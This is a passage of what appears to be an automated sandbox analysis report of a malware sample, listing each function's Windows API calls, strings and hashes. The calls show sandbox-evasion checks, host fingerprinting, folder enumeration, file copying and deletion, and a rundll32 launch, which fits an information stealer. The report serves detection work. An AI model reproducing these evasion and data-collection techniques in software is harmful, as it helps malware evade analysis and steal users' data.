Instruction Fuzzy Hash: BCD10376D101089ACB14FBA5DC91EEE7739BF14304F51825EF51672091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 004136B0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A3DBD8), ref: 00415F11
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A3DD10), ref: 00415F2A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A3DBA8), ref: 00415F42
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A3DCB0), ref: 00415F5A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A3DC50), ref: 00415F73
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A53B08), ref: 00415F8B
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A36EE8), ref: 00415FA3
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A370C8), ref: 00415FBC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A3DC38), ref: 00415FD4
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A3DB78), ref: 00415FEC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A3DCC8), ref: 00416005
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A3DE18), ref: 0041601D
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A36F28), ref: 00416035
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,00A3DE30), ref: 0041604E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011D1

Part of subcall function 00401120: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
Part of subcall function 00401120: ExitProcess.KERNEL32 ref: 0040113E

Part of subcall function 004010D0: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
Part of subcall function 004010D0: VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
Part of subcall function 004010D0: ExitProcess.KERNEL32 ref: 00401103

Part of subcall function 004011E0: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401218
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401226
Part of subcall function 004011E0: ExitProcess.KERNEL32 ref: 00401254

Part of subcall function 00413430: GetUserDefaultLangID.KERNEL32(?,?,004136E6,0041D6E3), ref: 00413434

Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401186

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,00A53B18,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00A53B28,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,00A53B28,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$Alloclstrcpy$CloseEventHandleNameUser__aulldiv$ComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1175201934-0
Opcode ID: 990a28d9e6231a7cf5d9dc741f36312164e631f70a89672624034750edf52848
Instruction ID: 0037ec1138340b95bb434dc328289296f16cab3c571637fdb93d627daa89b4d0
Opcode Fuzzy Hash: 990a28d9e6231a7cf5d9dc741f36312164e631f70a89672624034750edf52848
Instruction Fuzzy Hash: 7E318270A00204AADB04FBF2DC56BEE7779AF08708F10451EF112A61D2DF789A85C7AD

Uniqueness

Uniqueness Score: -1.00%

Function 00410FA0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,00A5BC38,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

ShellExecuteEx.SHELL32(0000003C), ref: 00411307

Strings

"" , xrefs: 004111DC
.dll, xrefs: 00411054
C:\Windows\system32\rundll32.dll, xrefs: 004110BF
<, xrefs: 004112AC

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteFolderPathShellSystemTimelstrlen
String ID: "" $.dll$<$C:\Windows\system32\rundll32.dll
API String ID: 672783590-3078973353
Opcode ID: e97775c0172a02601ecec00be6c74de3422fde544344fdbd0910ed3b50e10439
Instruction ID: ff393b419b3d9cd89bf84e2a65158e8723a283ad60ef2a05342f0777a40cb69c
Opcode Fuzzy Hash: e97775c0172a02601ecec00be6c74de3422fde544344fdbd0910ed3b50e10439
Instruction Fuzzy Hash: 19A124759101089ACB15FB91DC92FDEB739AF14304F51425FE10666095EF38ABCACFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004123F0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00A5AE60), ref: 0041244B

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412471
lstrcat.KERNEL32(?,?), ref: 00412490
lstrcat.KERNEL32(?,?), ref: 004124A4
lstrcat.KERNEL32(?,00A3AD00), ref: 004124B7
lstrcat.KERNEL32(?,?), ref: 004124CB
lstrcat.KERNEL32(?,00A59758), ref: 004124DF

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00415490: GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Part of subcall function 004121F0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00412200
Part of subcall function 004121F0: HeapAlloc.KERNEL32(00000000), ref: 00412207
Part of subcall function 004121F0: wsprintfA.USER32 ref: 00412223
Part of subcall function 004121F0: FindFirstFileA.KERNEL32(?,?), ref: 0041223A

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: f5e8c72dd351a289b713f9d54f639df2ca9cd62536654d4b55f53026380b5f97
Instruction ID: 26a05e4f659b4c4b868bb0234a0ad995871bbc4a3af1f84cd303f322fad0653f
Opcode Fuzzy Hash: f5e8c72dd351a289b713f9d54f639df2ca9cd62536654d4b55f53026380b5f97
Instruction Fuzzy Hash: 083164B6900608A7CB20FBB0DC95EE9773DAB48704F40458EB3469A051EA7897C8CFD8

Uniqueness

Uniqueness Score: -1.00%

Function 004011E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
__aulldiv.LIBCMT ref: 00401218
__aulldiv.LIBCMT ref: 00401226
ExitProcess.KERNEL32 ref: 00401254

Strings

@, xrefs: 004011F3

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction ID: 7bcd30568b3a9749f5c78c38f6ef54fea4689c821e8202ed383253ad67bcf250
Opcode Fuzzy Hash: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction Fuzzy Hash: 8601FFB0940208EADB10EFD0CD4AB9EBBB8AB54705F204059E705B62D0D6785545875D

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CCFC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CCFC969
GetSystemInfo.KERNEL32(?), ref: 6CCFC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CCFC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CCFC9E2

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 1866646c278a4ee5b690f9e8259565631ab248348a14c04a9901d4196117606f
Instruction ID: 4ae0238da7e122cbd5d56fad9fc991042de4bf6d8a724a45e31cebbc228f7343
Opcode Fuzzy Hash: 1866646c278a4ee5b690f9e8259565631ab248348a14c04a9901d4196117606f
Instruction Fuzzy Hash: F521D8317416046BEB14AF65D884BBE73BDFF86300F50011AFA5396A80E7709904C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00412980 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 004129BA
lstrcat.KERNEL32(?,0041D888), ref: 004129D7
lstrcat.KERNEL32(?,00A53CE8), ref: 004129EB
lstrcat.KERNEL32(?,0041D88C), ref: 004129FD

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNEL32(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

L0A, xrefs: 00412A22, 00412A51, 00412A73, 00412A25, 00412A54

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: L0A
API String ID: 2667927680-1482484291
Opcode ID: 2d500382a6aefc514482708f61bb6bbe5345368defb784e312ba9a838cac8a8b
Instruction ID: f34e92357168eddbedcb052ffd5f2c6281475bb6170069d81cff4dd89e8051f4
Opcode Fuzzy Hash: 2d500382a6aefc514482708f61bb6bbe5345368defb784e312ba9a838cac8a8b
Instruction Fuzzy Hash: A621CCBA9005087BC724FBA0DD46EDA373E9B54745F00058AB64956081EE7867C48BD5

Uniqueness

Uniqueness Score: -1.00%

Function 00401260 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
HeapAlloc.KERNEL32(00000000), ref: 0040127B
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
RegCloseKey.ADVAPI32(?), ref: 004012BF

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction ID: 7bc2c45b39987af01ac2684a9b0918313f40fb8da876f9e4b9d967da472c28c8
Opcode Fuzzy Hash: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction Fuzzy Hash: 3C011D79A40608BFDB20DFE0DD49FAEB779AB88700F008159FA05E7280DA749A018B90

Uniqueness

Uniqueness Score: -1.00%

Function 00414740 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
HeapAlloc.KERNEL32(00000000), ref: 0041475B
RegOpenKeyExA.KERNEL32(80000002,00A3A378,00000000,00020119,00000000), ref: 0041477B
RegQueryValueExA.KERNEL32(00000000,00A59678,00000000,00000000,000000FF,000000FF), ref: 0041479C
RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction ID: 520453153fef2218f7e1f18e9bcc50e310f062f1fe861ea372c3465721436b4a
Opcode Fuzzy Hash: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction Fuzzy Hash: 62013C79A40608FFDB20DBE4ED49FAEB779EB88700F108159FA05A6290DB705A018F90

Uniqueness

Uniqueness Score: -1.00%

Function 00414300 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
HeapAlloc.KERNEL32(00000000), ref: 0041431B
RegOpenKeyExA.KERNEL32(80000002,00A3A998,00000000,00020119,00000000), ref: 0041433B
RegQueryValueExA.KERNEL32(00000000,00A58F80,00000000,00000000,000000FF,000000FF), ref: 0041435C
RegCloseKey.ADVAPI32(00000000), ref: 00414366

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction ID: 8a55c6bb4586fa39bc5dd89715e436abefd5940c4b9bd8db073c1251d6bd8ac1
Opcode Fuzzy Hash: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction Fuzzy Hash: E3014FB5A40608BFDB20DBE4ED49FAEB77DEB88701F005154FA05E7290DB70AA01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00409970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00A53BE8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 0040998D
LoadLibraryA.KERNEL32(00A59838,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 00409A16

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,00A53B28,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

SetEnvironmentVariableA.KERNEL32(00A53BE8,00000000,00000000,?,0041DA4C,?,0040EA16,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0041D6EF), ref: 00409A02

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00409982, 00409996, 004099AC

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 814c4c077e8b8ca70aa96522d29b00f0281161e5ae7f6a03f57144951b6f0b33
Instruction ID: 6647cd3c00128b620a4a232c7fbe97fce3d03bd073b05a107f0d1bf2b4fd60a8
Opcode Fuzzy Hash: 814c4c077e8b8ca70aa96522d29b00f0281161e5ae7f6a03f57144951b6f0b33
Instruction Fuzzy Hash: 134196B5900A009BDB24DFA4FD85AAE37B6BB44305F01512EF405A72E2DFB89D46CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004065D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@:h@,@:h@), ref: 0040668F

Strings

@:h@, xrefs: 00406670, 00406673
:h@, xrefs: 004065DD, 004065FD, 0040667F
:h@, xrefs: 0040660D, 00406629, 00406678, 00406688, 004065F4, 00406618, 00406623

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: :h@$:h@$@:h@
API String ID: 544645111-3492212131
Opcode ID: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction ID: 05c83ec730d02739dc9afbe7597ff905435882b08ae1c12394b3aafa6fe5c026
Opcode Fuzzy Hash: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction Fuzzy Hash: 272131B4A00208EFDB04CF85C544BAEBBB1FF48304F1185AAD406AB381D3399A91DF85

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEC0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,00A5BC38,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF41
lstrlen.KERNEL32(00000000), ref: 0040D0DF
lstrlen.KERNEL32(00000000), ref: 0040D0F3
DeleteFileA.KERNEL32(00000000), ref: 0040D16C

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 8e2bba712df17aa48022b978281eeb3fa679893a2e3a7441e06b8d441739a1d4
Instruction ID: 64a31cdf4344fffa4b83296b1621afa9cae3fe45de11617b70f8002e61f1a089
Opcode Fuzzy Hash: 8e2bba712df17aa48022b978281eeb3fa679893a2e3a7441e06b8d441739a1d4
Instruction Fuzzy Hash: 758147769102049BCB14FBA1DC52EEE7739BF54308F51411EF516B6091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD10 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
